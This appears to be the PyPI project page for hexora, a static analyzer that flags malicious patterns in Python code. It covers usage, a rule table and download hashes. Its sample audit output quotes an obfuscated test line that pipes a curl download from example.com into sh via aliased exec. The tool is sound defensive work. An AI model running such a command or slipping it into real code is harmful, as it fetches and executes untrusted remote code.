Skip to main content

Static analysis of malicous Python scripts.

Project description

hexora

PyPI - Version

Hexora is a static analysis tool designed to detect malicious and harmful patterns in Python code.

It can be used to:

  • Audit project dependencies to catch potential supply-chain attacks
  • Detect malicious scripts found on platforms like Pastebin, GitHub, or open directories
  • Analyze IoC files from past security incidents
  • Audit new packages uploaded to PyPi.
Hexora example

Examples

For output examples, please see docs/examples.md file.

Installation

Using Python

Requires Python 3.9+.

pip install hexora

Using uv:

uv tool install hexora

Usage

hexora --help

Audit single file

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  1  import pyperclip
2 3  data = pyperclip.paste()
          ^^^^^^^^^^^^^^^^^ HX2000
    = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   19  (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20  _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   

Audit directory

hexora audit --output-format terminal resources/test/

Audit packages from virtual environment

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Where python3.11 is the version of the Python in virtual environment.

Tips:

  • Use --exclude to suppress certain rule codes (e.g., noisy imports) for a given run
  • Use --min-confidence to focus on high-confidence findings only.

Confidence indicates how a certain piece of code is malicious. Some libraries or code snippets are used for legit purposes, and it's hard to distinguish legit use-cases from malicious ones. That's why some matches have a low confidence level.

Some rules can have different confidence levels. Avoid filtering a lot of rules by codes unless you are very confident. For example, code and shell execution can have medium, high, and very high confidence. This depends on how the code was executed. If we detect an obfuscation attempt, we elevate confidence.

For example, this code will have a high confidence:

globals()["__builtins__"].eval("print(123)")

Usage in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Available rules

New rules are added regularly.

Right now, the following rules are available:

Code Name Description
HX1000 AppEnumeration Suspicious application enumeration.
HX1010 BrowserEnumeration Suspicious browser enumeration (apps, cookies, history, etc.).
HX1020 PathEnumeration Suspicious path enumeration.
HX1030 OSFingerprint Suspicious OS fingerprinting.
HX2000 ClipboardRead Reading from the clipboard.
HX2010 EnvAccess Access to a sensitive environment variable.
HX3000 CodeExec Possible code execution.
HX3010 ShellExec Execution of a shell command.
HX3040 DLLInjection Possible DLL injection.
HX3050 DangerousExec Execution of potentially dangerous command inside a shell command.
HX3060 SuspiciousCall Suspicious function call.
HX4000 ObfuscatedShellExec Execution of an obfuscated shell command.
HX4010 ObfuscatedCodeExec Execution of obfuscated code.
HX5000 DunderImport Suspicious use of __import__.
HX5010 SuspiciousImport Suspicious import.
HX5020 CtypesImport Suspicious ctypes import.
HX5030 PickleImport Suspicious pickle import.
HX5040 StructImport Suspicious struct import.
HX5050 SocketImport Suspicious socket import.
HX5060 MarshalImport Suspicious marshal import.
HX6000 Base64String Long Base64-encoded string detected; possible code obfuscation.
HX6010 HexedLiterals List of hex-encoded literals detected; possible payload.
HX6020 HexedString Long hex-encoded string detected; possible payload.
HX6030 IntLiterals Large list of integer literals detected; possible code obfuscation.
HX6040 CVEInLiteral Literal contains a CVE identifier.
HX6050 SuspiciousLiteral Suspicious literal detected; possible data enumeration.
HX6060 PathTraversal Suspicious path traversal.
HX6070 BrowserExtension Enumeration of sensitive browser extensions.
HX6080 WebHook Suspicious webhook detected. Possible data exfiltration.
HX7000 SuspiciousFunctionName Suspicious function name.
HX7010 SuspiciousParameterName Suspicious parameter name.
HX7020 SuspiciousVariable Suspicious variable name.
HX9000 DataExfiltration Potential data exfiltration.
HX8000 BinaryDownload Suspicious binary download.
HX8010 BuiltinsVariable Suspicious builtin variable usage.
HX8020 SuspiciousComment Suspicious comment.
HX8030 SuspiciousWrite Suspicious write to the filesystem.

Credits

For parsing, we use AST parser from ruff library.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

hexora-0.2.2.tar.gz (5.3 kB view details)

Uploaded Source

Built Distributions

If you're not sure about the file name format, learn more about wheel file names.

hexora-0.2.2-cp314-cp314-win_amd64.whl (2.7 MB view details)

Uploaded CPython 3.14Windows x86-64

hexora-0.2.2-cp314-cp314-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.14musllinux: musl 1.2+ x86-64

hexora-0.2.2-cp314-cp314-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.14manylinux: glibc 2.28+ x86-64

hexora-0.2.2-cp314-cp314-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.14manylinux: glibc 2.28+ ARM64

hexora-0.2.2-cp314-cp314-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.14macOS 11.0+ ARM64

hexora-0.2.2-cp314-cp314-macosx_10_15_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.14macOS 10.15+ x86-64

hexora-0.2.2-cp313-cp313-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.13Windows x86-64

hexora-0.2.2-cp313-cp313-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.13musllinux: musl 1.2+ x86-64

hexora-0.2.2-cp313-cp313-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ x86-64

hexora-0.2.2-cp313-cp313-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.13manylinux: glibc 2.28+ ARM64

hexora-0.2.2-cp313-cp313-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.13macOS 11.0+ ARM64

hexora-0.2.2-cp313-cp313-macosx_10_13_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.13macOS 10.13+ x86-64

hexora-0.2.2-cp312-cp312-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.12Windows x86-64

hexora-0.2.2-cp312-cp312-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.12musllinux: musl 1.2+ x86-64

hexora-0.2.2-cp312-cp312-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ x86-64

hexora-0.2.2-cp312-cp312-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.12manylinux: glibc 2.28+ ARM64

hexora-0.2.2-cp312-cp312-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.12macOS 11.0+ ARM64

hexora-0.2.2-cp312-cp312-macosx_10_13_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.12macOS 10.13+ x86-64

hexora-0.2.2-cp311-cp311-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.11Windows x86-64

hexora-0.2.2-cp311-cp311-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.11musllinux: musl 1.2+ x86-64

hexora-0.2.2-cp311-cp311-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ x86-64

hexora-0.2.2-cp311-cp311-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.11manylinux: glibc 2.28+ ARM64

hexora-0.2.2-cp311-cp311-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.11macOS 11.0+ ARM64

hexora-0.2.2-cp311-cp311-macosx_10_12_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.11macOS 10.12+ x86-64

hexora-0.2.2-cp310-cp310-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.10Windows x86-64

hexora-0.2.2-cp310-cp310-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.10musllinux: musl 1.2+ x86-64

hexora-0.2.2-cp310-cp310-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ x86-64

hexora-0.2.2-cp310-cp310-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.10manylinux: glibc 2.28+ ARM64

hexora-0.2.2-cp310-cp310-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.10macOS 11.0+ ARM64

hexora-0.2.2-cp310-cp310-macosx_10_12_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.10macOS 10.12+ x86-64

hexora-0.2.2-cp39-cp39-win_amd64.whl (2.5 MB view details)

Uploaded CPython 3.9Windows x86-64

hexora-0.2.2-cp39-cp39-musllinux_1_2_x86_64.whl (2.9 MB view details)

Uploaded CPython 3.9musllinux: musl 1.2+ x86-64

hexora-0.2.2-cp39-cp39-manylinux_2_28_x86_64.whl (2.8 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ x86-64

hexora-0.2.2-cp39-cp39-manylinux_2_28_aarch64.whl (2.7 MB view details)

Uploaded CPython 3.9manylinux: glibc 2.28+ ARM64

hexora-0.2.2-cp39-cp39-macosx_11_0_arm64.whl (2.5 MB view details)

Uploaded CPython 3.9macOS 11.0+ ARM64

hexora-0.2.2-cp39-cp39-macosx_10_12_x86_64.whl (2.7 MB view details)

Uploaded CPython 3.9macOS 10.12+ x86-64

File details

Details for the file hexora-0.2.2.tar.gz.

File metadata

  • Download URL: hexora-0.2.2.tar.gz
  • Upload date:
  • Size: 5.3 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.2.tar.gz
Algorithm Hash digest
SHA256 1887502971353fab94bc7923c7fbcc62c8881918cbb52710a3f8140b00304b3e
MD5 e5f12b22fae71f43e3dc7ae38dcecfa8
BLAKE2b-256 cbe3bbe9825c37a2c4bf38f4bf934b538759c8a29e46b333bd98e7a54d3739b6

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp314-cp314-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.2-cp314-cp314-win_amd64.whl
  • Upload date:
  • Size: 2.7 MB
  • Tags: CPython 3.14, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.2-cp314-cp314-win_amd64.whl
Algorithm Hash digest
SHA256 d53f7812f5d16182b8991e234422c7de9bf8479c65863d66af1e5fd49af9b43c
MD5 c49134fac8e29968ccb2be275b419d3f
BLAKE2b-256 1a02821e7625fc51aa6bc28ecf6ba02db77d3b25c8503ba0187bc98eb4443bb5

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp314-cp314-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp314-cp314-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 8e95cda9d66583d6af092dad1ad4ecd204d984928c2118ebafd497abc41c0014
MD5 453eea279c65b0339daf13eaf07a7ebd
BLAKE2b-256 9f564d212e3ea42daf8539a155418f34b29a3291f9a1f44e744378172f749f32

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp314-cp314-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp314-cp314-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 d76f2546df805dd92e6d9e02cc1f924fbbfb7fea772281418aa44f2570807029
MD5 843829592a8f6c8bb22a8182a2973372
BLAKE2b-256 f1faa27fc8e76c0d03061e4d0ab8e38049c73529470cb400a71bb7648bfbdbe1

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp314-cp314-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp314-cp314-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 abbc6fdc10148057c7947344762baf7d08759c3d6cf06f1f8ab12f658d4f7249
MD5 6a82cc84d674faafd36cc6c78bd6bc76
BLAKE2b-256 e03c131069224dbb149659afbe38b096ebaa485ea0281a08492ab4ec71ece9f3

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp314-cp314-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp314-cp314-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 e803c3b5861d03cb4c32687bb86097b277ebca82a18b7d51b98a305b1838ce02
MD5 5bef22d9ec9e6de98088a3bc1bc272d1
BLAKE2b-256 7e6dd195416e6b6504d63793872139c75688cf861f4e7c9a1aaa49901ac20b07

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp314-cp314-macosx_10_15_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp314-cp314-macosx_10_15_x86_64.whl
Algorithm Hash digest
SHA256 4be51945410460f44f1b94f1d8cfb928f020273b6fe79644edeaaf44325affce
MD5 363f27b94849d7c143d9eb05fb221e4f
BLAKE2b-256 60c0c1e1ef1f1a9e223d74ff8f4f61241e732c89a01643ac226fe5816f9b4b02

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp313-cp313-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.2-cp313-cp313-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.13, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.2-cp313-cp313-win_amd64.whl
Algorithm Hash digest
SHA256 08e5169f752cd364fa65250df7157e92189a9d17559595df45a2722964209377
MD5 03c50712c808f1c6cad5c954fdf8e236
BLAKE2b-256 c10ecd823ba197547d5be0371fdc481c8a06b4b6c143033d526864c982204e68

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp313-cp313-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp313-cp313-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 5901aec65c696d73f7a7f81288d568ec2fee5c5d34f1f4e34ffc4c4664b7a214
MD5 88e8809406d40d9393347e0bc48a8137
BLAKE2b-256 311cde10d8e255f24e4b1bd727cf838e8aa3721da574a7c07e4211fe1853ca68

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp313-cp313-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp313-cp313-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 712094f5981b9446a8674a8eaa34a9bbc07cbdf6a16e6778a651890a805cece7
MD5 0ae3f3c8209932c4aead67c32809c7a4
BLAKE2b-256 cda7f1c71c93e7c1fd9887dcef3e2718218ec9dc760c14be31703fcb2a2b544e

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp313-cp313-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp313-cp313-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 7c2105ca10b2138a9e9b363a19099d8997d366dbd5bba22e1acc36187e9ee87d
MD5 fa226a8e39a47f09cc4b3873484e212b
BLAKE2b-256 b7784678126dbf9ec7a609479bf89e6416feeb43d65024b34915f9b954fcbd0f

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp313-cp313-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp313-cp313-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 7a49a495f9b385b15e61cd3b41f8772327a8101655d14bf062a3fb82a491969a
MD5 c1e2b256ecbfe7d97e7e9e96b23e43a6
BLAKE2b-256 5c5965ec4b0fad4805a621297a9421f3f8681b4dd48a2ceda4fd52023894e608

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp313-cp313-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp313-cp313-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 e3e3d92dd72ee9dbe9e16af7cdc445dcd77485bb3ab261747c4d9e582052c732
MD5 5ec7035382fd4112749c7d0aeadcdb9c
BLAKE2b-256 49803b824029591a8cd09bbd73637286aabed7906632106c00d2d0c8d09726ee

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp312-cp312-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.2-cp312-cp312-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.12, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.2-cp312-cp312-win_amd64.whl
Algorithm Hash digest
SHA256 6e33d563246f8514b21ebe6fcb42fb7381a1a1907db86ce93dc9ed1ef4acc51b
MD5 063ef75c7670afead0dddd987e7bb255
BLAKE2b-256 105371b89df44245f3de251e846282e3940295a835d8ec47f536cc6530eb7560

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp312-cp312-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp312-cp312-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 0bc8315daa9aa8586af5979a1a7692f988f360862c6938035d0a5ed07efb0f51
MD5 70d2621774e6ce9486e34ca92bf2c667
BLAKE2b-256 8e306dba723c2b4cdc8c5a667344b55a18c9c146a66e6ae424bf87d40ded1093

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp312-cp312-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp312-cp312-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 0aa4731e18c09bc9c62012a44443a05cf1086345d88e251e047d466c6dbb769c
MD5 992896f5f50a3e037506eba4eef7be41
BLAKE2b-256 f7e833052f78e5182e2c3778b06f2c828bac6648a4c6375246264780a50ac1bf

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp312-cp312-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp312-cp312-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 d17abfdb521b880f617d63be8c96612ef0c3b99dd3c7e1700c373723948f8fd7
MD5 857d20b60ec6ae89204be58c72148fb3
BLAKE2b-256 3924a2f440227a96990731f909bc1f6cb79576cb776273c660aefd8846bd9880

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp312-cp312-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp312-cp312-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 bbed6331fe1b02e45cff872d86f631e22819d9a62759f929544f0d3ebf36a5be
MD5 7628fc8c7127d0e158ef90c0488926e3
BLAKE2b-256 f1242ac127c00b19d50588ede6fc5f2b0bbb9fa95ff3762ce7b50290e4344452

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp312-cp312-macosx_10_13_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp312-cp312-macosx_10_13_x86_64.whl
Algorithm Hash digest
SHA256 2753e064c6a9353937df408081582ed7475740958176b91a35d7da4d00d96d55
MD5 8ae65f59bfc02d683f66ddab8207a0ea
BLAKE2b-256 77134247faf5a22050ff9fca9d80fa9b586d8dfd1e227a237790e86f9ace86b2

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp311-cp311-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.2-cp311-cp311-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.11, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.2-cp311-cp311-win_amd64.whl
Algorithm Hash digest
SHA256 15b4fe7601d525c6f2c72fc5656487b5d46025ce3a2196298b7c3c250a1f64d5
MD5 e8dcc5aea08da468567ce38bc1faba81
BLAKE2b-256 28028665d1fea358b7a943339be4eb70eb280759fa7fc18964ee13d906f85600

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp311-cp311-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp311-cp311-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 e6aee5d9811996147c5941cd19c840d699f0e183b998ffb63098d37fa6689d5a
MD5 2726d9deed25f71d23a631f7fdbf1a8f
BLAKE2b-256 7e4caacf1669904e80d465ba0f33871dcc7cfc36984433b7ff8803618e409b20

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp311-cp311-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp311-cp311-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 32289b6c61bcdbd5d24d258a92a7e719ccd3755fea5eddb9d46937867122fff3
MD5 73b6dfe5d005b739a9479a8aaa6227c0
BLAKE2b-256 7c35b1e29970a3c0d6b697d530061126f6133548a43bfaead2c81b547d66b921

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp311-cp311-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp311-cp311-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 bde8f1e28532b5bac84d77fd0e713dd09cbe273d940c3fe8695fe142fbcf03d2
MD5 ed5e07a8fea94f5c97bc93c8091a35e6
BLAKE2b-256 a1a96fe2e3726df6132241a555506de3775c00b5087a15fb575d8a391843d1eb

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp311-cp311-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp311-cp311-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 6f8699d2f8b8507e259953c887dbe340f84ea3ab2cebcf1a43c8b9977dc1d3d1
MD5 23aaac9329dbb6c4f694ca812b315374
BLAKE2b-256 940e81534295288a917e5cd758ca06dab40bbe8522c530b24255e7cf5f1368f1

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp311-cp311-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp311-cp311-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 3fe6b8e9fdad3e0b24f6362a800920d40ab1bf4f7ffde8c861c37e6dc0a8afaf
MD5 69f774aa4cc83f8ac634a5008dc47269
BLAKE2b-256 88b264fd0ac303466fdd21802c1c4e7e4065c2a1a78f9f76f885469ee10c8fad

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp310-cp310-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.2-cp310-cp310-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.10, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.2-cp310-cp310-win_amd64.whl
Algorithm Hash digest
SHA256 3aacfd8003613c0e51a60b7c30901308837dc6c42b20dd6829437d778c4cdbbc
MD5 345177f6336e74a0e6ee732f07f2498e
BLAKE2b-256 04ab3ed4df8db8490c41892bd88f3262d81392d5a4ed1c01fd6390bcdbdbb1b9

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp310-cp310-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp310-cp310-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 4db57f4b3a2fb9a9e8585c84d9391713793bf0ebd2822b7805d4af6e8497a5c0
MD5 e19469ae27f4a2ed7c01c540d8cfb44b
BLAKE2b-256 434e7ef1bced81db88a388a1e38b2c21a43b36156a46ec610be4286aeddb988c

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp310-cp310-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp310-cp310-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 fdd1d4198077f7bf6f8486314dc70088bb787a999cab78fb628cb85f1a4ea79f
MD5 1e8fc440896c0539c701a7ce84073c6f
BLAKE2b-256 dad9a8be1111ced95e607e04d317ed8b09d5d39cae6afc08ae3c4e6f70845258

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp310-cp310-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp310-cp310-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 203284cd45a77d9d110cba82a6ae7be9284e2b7a9d4dc5a6ffdbd76a0fc30ef8
MD5 7087fb7430bc2188356202e5b85013f5
BLAKE2b-256 ad1e80299be6625b46e568db38ce1016a09ecbd6950eb646dd16223efc2730cd

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp310-cp310-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp310-cp310-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 c0cca097c5c7d3b737125be38a0cdfef91f7a266be0ab97e565d04328c37ad9c
MD5 ce024092e6b340747a089c5c57c4a356
BLAKE2b-256 1f6bcfaaed5b1343dfbdb7d080e3871d70d6c58d66e16f460c4a6e1dbc365348

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp310-cp310-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp310-cp310-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 0fad42eb9462ccaf3f7456d8e88f3352b8b90cc325be8f5aa3fc98cbcba83b5a
MD5 d28dbdad4ece8a6e59241bf2b7221f28
BLAKE2b-256 43aae232bf5d63dbf7013cbcceefe4b891fcc7aac8a03af6cc14f2897b361f8a

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp39-cp39-win_amd64.whl.

File metadata

  • Download URL: hexora-0.2.2-cp39-cp39-win_amd64.whl
  • Upload date:
  • Size: 2.5 MB
  • Tags: CPython 3.9, Windows x86-64
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/6.1.0 CPython/3.13.7

File hashes

Hashes for hexora-0.2.2-cp39-cp39-win_amd64.whl
Algorithm Hash digest
SHA256 4cc053d2a421ef369244d33310d0a1c59ed9525b1b38c19989ce2c6f3ae757e6
MD5 b1b4a39eef6eb2a6de289e8cf335c79c
BLAKE2b-256 01eee2c6d1bd4b0933e92249a6e0b0ae571b91f21702220b84f589ac94a13954

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp39-cp39-musllinux_1_2_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp39-cp39-musllinux_1_2_x86_64.whl
Algorithm Hash digest
SHA256 8747356d4d23a27934b5236710a1c9be0ec1367c75ffae3bbc8336a1826f5275
MD5 d05a7f496b84787ec850397860d8c564
BLAKE2b-256 6f4d4e2a815a318997eac2b9d84b01d88aa5a81e86f6f5d931da7d7becc88735

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp39-cp39-manylinux_2_28_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp39-cp39-manylinux_2_28_x86_64.whl
Algorithm Hash digest
SHA256 926e7997db1a7011d2893addeeb6d17a4e83ac3de642b53316c3d77c5285b3b7
MD5 5abfaac869e4d10b4f1125ba763f50db
BLAKE2b-256 dbf765a43482f80397b7eb296e5eec007d0c0366e0441abc53ac1b51590003fc

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp39-cp39-manylinux_2_28_aarch64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp39-cp39-manylinux_2_28_aarch64.whl
Algorithm Hash digest
SHA256 166be18542084d5769e2359c1e3e39be93dff3cd2f8e9b042480ee35e333eef0
MD5 936b2a1206b2c6beded2e690fecb6e95
BLAKE2b-256 68678f62262111f9fd02bdedc5fa0bec5ed5abfc9bc10315e37d48384432b2e8

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp39-cp39-macosx_11_0_arm64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp39-cp39-macosx_11_0_arm64.whl
Algorithm Hash digest
SHA256 c6abed68e4f5777ac9175fb55ea602a27cf4f87025232beb34fdf87e7de4388e
MD5 dd560d2cc30260a6bbae4980b1079190
BLAKE2b-256 edd0710c58da6ed69782ebeb84a001cf6b6e239ffb598399ce823663dc1bc832

See more details on using hashes here.

File details

Details for the file hexora-0.2.2-cp39-cp39-macosx_10_12_x86_64.whl.

File metadata

File hashes

Hashes for hexora-0.2.2-cp39-cp39-macosx_10_12_x86_64.whl
Algorithm Hash digest
SHA256 e35403245c09914e4d6724ba0f2f557325102f95ef553cf674472566718f5646
MD5 9ad980e6d91d285bdaac08c7947e2cb0
BLAKE2b-256 c4abd32b3a1e0b6ae3d133be71019cb8ae04129c0b86ca08cd07740c3b6e6eac

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page